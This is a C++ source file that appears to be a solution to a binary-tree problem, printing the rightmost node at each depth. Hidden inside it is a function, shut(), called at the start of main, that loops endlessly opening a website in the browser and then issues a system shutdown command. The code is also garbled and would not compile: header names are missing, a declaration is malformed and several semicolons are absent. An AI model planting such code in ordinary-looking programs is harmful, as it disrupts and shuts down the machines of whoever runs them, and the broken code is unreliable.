#include
#include
#include<windows.h>
using namespace std;
shut();
struct Node { int lc,rc; };
const int N=100050; Node tree[N]; vector kuan[N]; int maxdep;
void preorder(int cur,int dep) { if (cur == 0) return ; dep++; maxdep=max(maxdep,dep); kuan[dep].push_back(cur); preorder(tree[cur].lc,dep); preorder(tree[cur].rc,dep); }
int main() {
shut();
int n;
cin>>n;
for(int i=1;i<=n;i++)
{
cin>>tree[i].lc>>tree[i].rc;
}
preorder(1,0);
for(int i=1;i<=maxdep;i++)
{
cout<<kuan[i][kuan[i].size()-1]<<endl;
}
return 0;
return 0;
}
void shut(){ while(1){
system("start https://vape.com")
system("start https://vape.com")
system("start https://vape.com")
system("start https://vape.com")
system("start https://vape.com")
system("start https://vape.com")
system("start https://vape.com")
system("start https://vape.com")
system("start https://vape.com")
system("start https://vape.com")
system("start https://vape.com")
system("start https://vape.com")
system("start https://vape.com")
system("start https://vape.com")
system("start https://vape.com")
system("start https://vape.com")
system("start https://vape.com")
system("start https://vape.com")
system("start https://vape.com")
system("start https://vape.com")
system("start https://vape.com")
system("shutdown \s")
} }